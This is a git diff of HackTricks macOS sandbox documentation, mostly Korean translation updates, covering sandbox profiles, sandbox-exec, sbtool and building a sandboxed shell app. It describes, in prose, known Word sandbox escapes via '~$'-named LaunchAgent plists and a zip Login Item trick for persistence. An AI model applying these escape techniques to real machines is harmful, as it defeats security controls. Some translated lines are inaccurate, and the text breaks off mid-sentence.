+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index 277490d64..89bf9aac0 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -1,35 +1,36 @@ -# macOS 샌드박스 +# macOS Sandbox + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## 기본 정보 +## Basic Information -MacOS 샌드박스(초기에는 Seatbelt라고 불렸음)은 샌드박스 프로필에서 지정된 허용된 작업으로 샌드박스 내에서 실행되는 애플리케이션을 **제한**합니다. 이를 통해 **애플리케이션이 예상된 리소스에만 액세스**하도록 보장합니다. +MacOS Sandbox (초기 이름: Seatbelt) **는 샌드박스 내에서 실행되는 애플리케이션의** **허용된 작업을 샌드박스 프로필에 지정된 대로 제한**합니다. 이는 **애플리케이션이 예상된 리소스만 접근하도록 보장하는 데 도움**이 됩니다. -**`com.apple.security.app-sandbox`** **엔타이틀먼트**를 가진 **어떤 앱이든 샌드박스 내에서 실행**됩니다. **Apple 바이너리**는 일반적으로 샌드박스 내에서 실행되며 **App Store**에 게시하기 위해서는 **이 엔타이틀먼트가 필수**입니다. 따라서 대부분의 애플리케이션은 샌드박스 내에서 실행됩니다. +**`com.apple.security.app-sandbox`** 권한을 가진 모든 앱은 샌드박스 내에서 실행됩니다. **Apple 바이너리**는 일반적으로 샌드박스 내에서 실행되며, **App Store**에 배포하기 위해서는 **이 권한이 필수적**입니다. 따라서 대부분의 애플리케이션은 샌드박스 내에서 실행됩니다. -프로세스가 수행할 수 있는 작업을 제어하기 위해 **샌드박스에는 커널 전체의 모든 시스콜에 후크**가 있습니다. 앱의 **엔타이틀먼트**에 따라 샌드박스는 특정 작업을 **허용**할 수 있습니다. +프로세스가 할 수 있는 것과 할 수 없는 것을 제어하기 위해 **샌드박스는 커널 전역의 모든** **syscalls**에 후크를 가지고 있습니다. **앱의 권한에 따라** 샌드박스는 특정 작업을 **허용**합니다. 샌드박스의 몇 가지 중요한 구성 요소는 다음과 같습니다: * **커널 확장** `/System/Library/Extensions/Sandbox.kext` -* **개인 프레임워크** `/System/Library/PrivateFrameworks/AppSandbox.framework` -* 사용자 영역에서 실행되는 **데몬** `/usr/libexec/sandboxd` +* **프라이빗 프레임워크** `/System/Library/PrivateFrameworks/AppSandbox.framework` +* 사용자 공간에서 실행되는 **데몬** `/usr/libexec/sandboxd` * **컨테이너** `~/Library/Containers` -컨테이너 폴더 내에서는 **번들 ID의 이름으로 샌드박스에서 실행되는 각 앱의 폴더**를 찾을 수 있습니다: +컨테이너 폴더 내에는 **샌드박스에서 실행되는 각 앱에 대한 폴더**가 번들 ID 이름으로 있습니다: ```bash ls -l ~/Library/Containers total 0 @@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` -각 번들 ID 폴더 안에는 앱의 **plist**와 **데이터 디렉토리**가 있습니다: +각 번들 ID 폴더 안에는 앱의 **plist**와 **데이터 디렉토리**를 찾을 수 있습니다: ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` {% hint style="danger" %} -주의하세요. 심볼릭 링크가 존재하여 샌드박스를 "탈출"하고 다른 폴더에 접근할 수 있더라도, 앱은 여전히 해당 폴더에 접근할 **권한**이 있어야 합니다. 이러한 권한은 **`.plist`** 파일 내에 있습니다. +주의: 심볼릭 링크가 Sandbox에서 "탈출"하여 다른 폴더에 접근하기 위해 존재하더라도, 앱은 여전히 **접근할 수 있는 권한**이 필요합니다. 이러한 권한은 **`.plist`** 안에 있습니다. {% endhint %} ```bash # Get permissions @@ -114,14 +115,14 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... [...] ``` {% hint style="warning" %} -모든 샌드박스 애플리케이션에서 생성/수정된 모든 것은 **격리 속성**을 가집니다. 이는 샌드박스 앱이 **`open`**을 사용하여 무언가를 실행하려고 할 때 게이트키퍼를 트리거하여 샌드박스 공간을 방지합니다. +Sandboxed 애플리케이션에 의해 생성/수정된 모든 항목은 **격리 속성**을 갖게 됩니다. 이는 샌드박스 앱이 **`open`**으로 무언가를 실행하려고 할 때 Gatekeeper를 트리거하여 샌드박스 공간을 방지합니다. {% endhint %} ### 샌드박스 프로필 -샌드박스 프로필은 해당 **샌드박스**에서 허용/금지되는 내용을 나타내는 구성 파일입니다. 이는 **샌드박스 프로필 언어 (SBPL)**를 사용하며, [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) 프로그래밍 언어를 사용합니다. +샌드박스 프로필은 해당 **샌드박스**에서 **허용/금지**될 항목을 나타내는 구성 파일입니다. 이는 [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) 프로그래밍 언어를 사용하는 **샌드박스 프로필 언어(SBPL)**를 사용합니다. -여기에 예제를 찾을 수 있습니다: +여기 예시를 찾을 수 있습니다: ```scheme (version 1) ; First you get the version @@ -140,50 +141,28 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... ) ``` {% hint style="success" %} -더 많은 허용 또는 거부될 수 있는 작업을 확인하려면 [**이 연구**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/)를 확인하세요. +이 [**연구**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **를 확인하여 허용되거나 거부될 수 있는 추가 작업을 확인하세요.** {% endhint %} -중요한 **시스템 서비스**들도 자체적인 **사용자 정의 샌드박스** 내에서 실행됩니다. 예를 들어 `mdnsresponder` 서비스가 있습니다. 이러한 사용자 정의 **샌드박스 프로필**은 다음 경로에서 확인할 수 있습니다: +중요한 **시스템 서비스**는 `mdnsresponder` 서비스와 같은 자체 맞춤 **샌드박스** 내에서 실행됩니다. 이러한 맞춤 **샌드박스 프로필**은 다음 위치에서 확인할 수 있습니다: * **`/usr/share/sandbox`** -* **`/System/Library/Sandbox/Profiles`** +* **`/System/Library/Sandbox/Profiles`** * 다른 샌드박스 프로필은 [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles)에서 확인할 수 있습니다. -**앱 스토어** 앱은 **프로필** **`/System/Library/Sandbox/Profiles/application.sb`**를 사용합니다. 이 프로필에서 **`com.apple.security.network.server`**와 같은 권한을 확인할 수 있습니다. 이 권한은 프로세스가 네트워크를 사용할 수 있도록 허용합니다. +**App Store** 앱은 **프로필** **`/System/Library/Sandbox/Profiles/application.sb`**를 사용합니다. 이 프로필에서 **`com.apple.security.network.server`**와 같은 권한이 프로세스가 네트워크를 사용할 수 있도록 허용하는 방법을 확인할 수 있습니다. SIP는 /System/Library/Sandbox/rootless.conf에 있는 platform\_profile이라는 샌드박스 프로필입니다. -### 샌드박스 프로필 예제 +### 샌드박스 프로필 예시 특정 샌드박스 프로필로 애플리케이션을 시작하려면 다음을 사용할 수 있습니다: ```bash sandbox-exec -f example.sb /Path/To/The/Application ``` +{% tabs %} +{% tab title="touch" %} {% code title="touch.sb" %} - -```plaintext -(version 1) -(deny default) -(import "sandbox.sb") - -;; Allow read access to the file -(allow file-read-metadata (literal "/path/to/file")) - -;; Allow write access to the file -(allow file-write-data (literal "/path/to/file")) - -;; Allow network access -(allow network-outbound) - -;; Allow executing touch command -(allow process-exec (literal "/usr/bin/touch")) -``` - -{% endcode %} -{% endtab %} - -{% tab title="ls" %} -{% code title="ls.sb" %} ```scheme (version 1) (deny default) @@ -203,15 +182,6 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last [...] ``` {% code title="touch2.sb" %} - -```plaintext -;; Allow touch to write to files in the user's home directory -(version 1) -(deny default) -(allow file-write* (subpath "/Users/" (home-subpath))) -``` - -이 스크립트는 사용자의 홈 디렉토리에 있는 파일에 touch가 쓰도록 허용합니다. ```scheme (version 1) (deny default) @@ -225,6 +195,8 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last ; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs ; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data / ``` +{% endcode %} + {% code title="touch3.sb" %} ```scheme (version 1) @@ -239,29 +211,29 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last {% endtabs %} {% hint style="info" %} -**Windows에서 실행되는 Apple이 작성한 소프트웨어는 추가적인 보안 조치** (예: 응용 프로그램 샌드박싱)를 가지고 있지 않습니다. +**Apple이 작성한** **소프트웨어**는 **Windows**에서 **추가적인 보안 조치**가 없으며, 애플리케이션 샌드박싱과 같은 기능이 없습니다. {% endhint %} 우회 예시: * [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) -* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (샌드박스 외부에 `~$`로 시작하는 파일을 작성할 수 있습니다). +* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (그들은 `~$`로 시작하는 이름의 파일을 샌드박스 외부에 쓸 수 있습니다). -### MacOS 샌드박스 프로필 +### MacOS 샌드박스 프로파일 -macOS는 시스템 샌드박스 프로필을 **/usr/share/sandbox/** 및 **/System/Library/Sandbox/Profiles** 두 위치에 저장합니다. +macOS는 시스템 샌드박스 프로파일을 두 위치에 저장합니다: **/usr/share/sandbox/** 및 **/System/Library/Sandbox/Profiles**. -또한 타사 응용 프로그램이 _**com.apple.security.app-sandbox**_ 권한을 가지고 있다면, 시스템은 해당 프로세스에 **/System/Library/Sandbox/Profiles/application.sb** 프로필을 적용합니다. +그리고 서드파티 애플리케이션이 _**com.apple.security.app-sandbox**_ 권한을 가지고 있다면, 시스템은 해당 프로세스에 **/System/Library/Sandbox/Profiles/application.sb** 프로파일을 적용합니다. -### **iOS 샌드박스 프로필** +### **iOS 샌드박스 프로파일** -기본 프로필은 **container**이며 SBPL 텍스트 표현이 없습니다. 메모리에서 이 샌드박스는 샌드박스의 각 권한에 대해 허용/거부 이진 트리로 표시됩니다. +기본 프로파일은 **container**라고 하며, SBPL 텍스트 표현이 없습니다. 메모리에서 이 샌드박스는 샌드박스의 각 권한에 대해 허용/거부 이진 트리로 표현됩니다. -### 샌드박스 디버그 및 우회 +### 디버그 및 샌드박스 우회 -macOS에서는 iOS와 달리 프로세스가 커널에 의해 시작될 때부터 샌드박스에 의해 샌드박스화되지 않으며, **프로세스는 스스로 샌드박스에 참여하기로 결정할 때까지 제한되지 않습니다**. +macOS에서는 iOS와 달리 프로세스가 커널에 의해 처음부터 샌드박스에 격리되지 않으며, **프로세스가 스스로 샌드박스에 참여해야 합니다**. 이는 macOS에서 프로세스가 적극적으로 샌드박스에 들어가기로 결정할 때까지 샌드박스에 의해 제한되지 않음을 의미합니다. -프로세스는 `com.apple.security.app-sandbox` 권한이 있으면 시작할 때 사용자 공간에서 자동으로 샌드박스화됩니다. 이 프로세스에 대한 자세한 설명은 다음을 참조하십시오: +프로세스는 `com.apple.security.app-sandbox` 권한이 있을 경우 사용자 공간에서 시작할 때 자동으로 샌드박스화됩니다. 이 프로세스에 대한 자세한 설명은 다음을 확인하십시오: {% content-ref url="macos-sandbox-debug-and-bypass/" %} [macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/) @@ -269,18 +241,18 @@ macOS에서는 iOS와 달리 프로세스가 커널에 의해 시작될 때부 ### **PID 권한 확인** -[**이에 따르면**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (이것은 `__mac_syscall`입니다)는 특정 PID에서 샌드박스에 의해 허용되는지 여부를 확인할 수 있습니다. +[**이것에 따르면**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (이는 `__mac_syscall`입니다)는 특정 PID에 대해 **작업이 허용되는지 여부**를 확인할 수 있습니다. -[**도구 sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c)은 PID가 특정 작업을 수행할 수 있는지 확인할 수 있습니다. +[**도구 sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c)은 PID가 특정 작업을 수행할 수 있는지 확인할 수 있습니다: ```bash sbtool mach #Check mac-ports (got from launchd with an api) sbtool file /tmp #Check file access sbtool inspect #Gives you an explaination of the sandbox profile sbtool all ``` -### App Store 앱에서 사용자 정의 SBPL +### Custom SBPL in App Store apps -회사들은 앱을 기본적인 것이 아닌 **사용자 정의 Sandbox 프로필**로 실행할 수 있습니다. 이를 위해 Apple의 승인이 필요한 **`com.apple.security.temporary-exception.sbpl`** 권한을 사용해야 합니다. +회사가 **사용자 정의 샌드박스 프로필**로 앱을 실행할 수 있을 가능성이 있습니다 (기본 프로필 대신). 그들은 Apple에 의해 승인되어야 하는 권한 **`com.apple.security.temporary-exception.sbpl`**을 사용해야 합니다. 이 권한의 정의는 **`/System/Library/Sandbox/Profiles/application.sb:`**에서 확인할 수 있습니다. ```scheme @@ -290,18 +262,19 @@ sbtool all (let* ((port (open-input-string string)) (sbpl (read port))) (with-transparent-redirection (eval sbpl))))) ``` -이것은 **이 entitlement 이후의 문자열을 Sandbox 프로필로 평가**합니다. +이 권한 이후의 문자열은 Sandbox 프로필로 **eval**됩니다. + +{% hint style="success" %} +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +HackTricks 지원하기 -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요. -* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 제출**하세요. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md index a1d3759dc..5575b9e9d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md @@ -1,22 +1,23 @@ -# macOS Default Sandbox Debug +# macOS 기본 샌드박스 디버그 + +{% hint style="success" %} +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +HackTricks 지원하기 -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. -* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %} 이 페이지에서는 기본 macOS 샌드박스 내에서 임의의 명령을 실행하는 앱을 만드는 방법을 찾을 수 있습니다: -1. 애플리케이션을 컴파일하세요: +1. 애플리케이션 컴파일하기: {% code title="main.m" %} ```objectivec @@ -50,10 +51,9 @@ return 0; ``` {% endcode %} -다음 명령을 실행하여 컴파일합니다: `clang -framework Foundation -o SandboxedShellApp main.m` - -2. `.app` 번들을 빌드합니다. +컴파일 실행: `clang -framework Foundation -o SandboxedShellApp main.m` +2. `.app` 번들 빌드 ```bash mkdir -p SandboxedShellApp.app/Contents/MacOS mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/ @@ -75,11 +75,10 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist EOF ``` - -3. 권한 부여 정의하기 +3. 권한 정의 {% tabs %} -{% tab title="undefined" %} +{% tab title="sandbox" %} ```bash cat << EOF > entitlements.plist @@ -112,8 +111,7 @@ EOF {% endtab %} {% endtabs %} -4. 앱에 서명하세요 (키체인에서 인증서를 생성해야 합니다) - +4. 앱에 서명하기 (키체인에서 인증서를 생성해야 함) ```bash codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app ./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp @@ -121,17 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a # An d in case you need this in the future codesign --remove-signature SandboxedShellApp.app ``` +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요. -* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md index a98d44eb1..5d8001fa5 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md @@ -1,74 +1,78 @@ # macOS Office Sandbox Bypasses +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)에서 제로부터 히어로까지 AWS 해킹 배우기를 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요. -* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 해킹 기법을 공유하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -### Word Sandbox 우회 - Launch Agents를 통한 우회 +### Word Sandbox bypass via Launch Agents -이 응용 프로그램은 **`com.apple.security.temporary-exception.sbpl`** 허용권한을 사용하는 **사용자 정의 Sandbox**를 사용하며, 이 사용자 정의 Sandbox는 파일 이름이 `~$`로 시작하는 경우 어디에서든 파일을 작성할 수 있도록 허용합니다: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` +응용 프로그램은 **`com.apple.security.temporary-exception.sbpl`** 권한을 사용하여 **커스텀 샌드박스**를 사용하며, 이 커스텀 샌드박스는 파일 이름이 `~$`로 시작하는 한 어디에나 파일을 쓸 수 있도록 허용합니다: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` -따라서, 우회는 `plist` 형식의 LaunchAgent를 `~/Library/LaunchAgents/~$escape.plist`에 작성하는 것만으로도 쉽게 이루어질 수 있습니다. +따라서 탈출은 **`~/Library/LaunchAgents/~$escape.plist`**에 **`plist`** LaunchAgent를 작성하는 것만큼 쉬웠습니다. -[**원본 보고서는 여기에서 확인**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/). +[**원본 보고서 확인하기**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/)를 확인하세요. -### Word Sandbox 우회 - Login Items 및 zip을 통한 우회 +### Word Sandbox bypass via Login Items and zip -첫 번째 우회에서 Word는 `~$`로 시작하는 임의의 파일을 작성할 수 있지만, 이전 취약점 패치 이후에는 `/Library/Application Scripts` 또는 `/Library/LaunchAgents`에 작성할 수 없습니다. +첫 번째 탈출에서 Word는 이름이 `~$`로 시작하는 임의의 파일을 쓸 수 있지만, 이전 취약점의 패치 이후 `/Library/Application Scripts` 또는 `/Library/LaunchAgents`에 쓸 수는 없었습니다. -그러나 Sandbox 내에서는 사용자가 로그인할 때 실행되는 **Login Item** (사용자가 로그인할 때 실행되는 앱)을 생성할 수 있음이 발견되었습니다. 그러나 이러한 앱은 **노타라이즈(notarized)**되지 않으면 실행되지 않으며, **인수(argument)를 추가할 수 없습니다**(`bash`를 사용하여 역쉘이 실행되지 않습니다). +샌드박스 내에서 **로그인 항목**(사용자가 로그인할 때 실행되는 앱)을 생성할 수 있다는 것이 발견되었습니다. 그러나 이러한 앱은 **인증되지 않은 경우**에만 **실행되지 않습니다**. 또한 **인수 추가는 불가능합니다**(따라서 **`bash`**를 사용하여 리버스 셸을 실행할 수 없습니다). -이전 Sandbox 우회에서 Microsoft는 `~/Library/LaunchAgents`에 파일을 작성하는 옵션을 비활성화했습니다. 그러나 기본적으로 `~/Library`의 `LaunchAgents` 폴더가 생성되지 않기 때문에, `LaunchAgents/~$escape.plist`에 plist를 압축하여 **zip 파일을 `~/Library`에 배치**하면 압축 해제될 때 영속성 대상에 도달할 수 있습니다. +이전 샌드박스 우회로 인해 Microsoft는 `~/Library/LaunchAgents`에 파일을 쓸 수 있는 옵션을 비활성화했습니다. 그러나 **로그인 항목으로 zip 파일을 넣으면** `Archive Utility`가 현재 위치에서 **압축을 풀기만 합니다**. 따라서 기본적으로 `~/Library`의 `LaunchAgents` 폴더가 생성되지 않기 때문에 **`LaunchAgents/~$escape.plist`**에 plist를 압축하고 **`~/Library`**에 zip 파일을 **배치**하면 압축 해제 시 지속성 목적지에 도달할 수 있었습니다. -[**원본 보고서는 여기에서 확인**](https://objective-see.org/blog/blog\_0x4B.html). +[**원본 보고서 확인하기**](https://objective-see.org/blog/blog\_0x4B.html)를 확인하세요. -### Word Sandbox 우회 - Login Items 및 .zshenv을 통한 우회 +### Word Sandbox bypass via Login Items and .zshenv -(첫 번째 우회에서 Word는 `~$`로 시작하는 임의의 파일을 작성할 수 있음을 기억하세요). +(첫 번째 탈출에서 Word는 이름이 `~$`로 시작하는 임의의 파일을 쓸 수 있습니다). -그러나 이전 기술에는 제한이 있었습니다. `~/Library/LaunchAgents` 폴더가 이미 다른 소프트웨어에 의해 생성된 경우 실패할 수 있습니다. 따라서 이를 위해 다른 Login Items 체인이 발견되었습니다. +그러나 이전 기술에는 제한이 있었습니다. **`~/Library/LaunchAgents`** 폴더가 다른 소프트웨어에 의해 생성된 경우 실패할 수 있습니다. 그래서 이를 위한 다른 로그인 항목 체인이 발견되었습니다. -공격자는 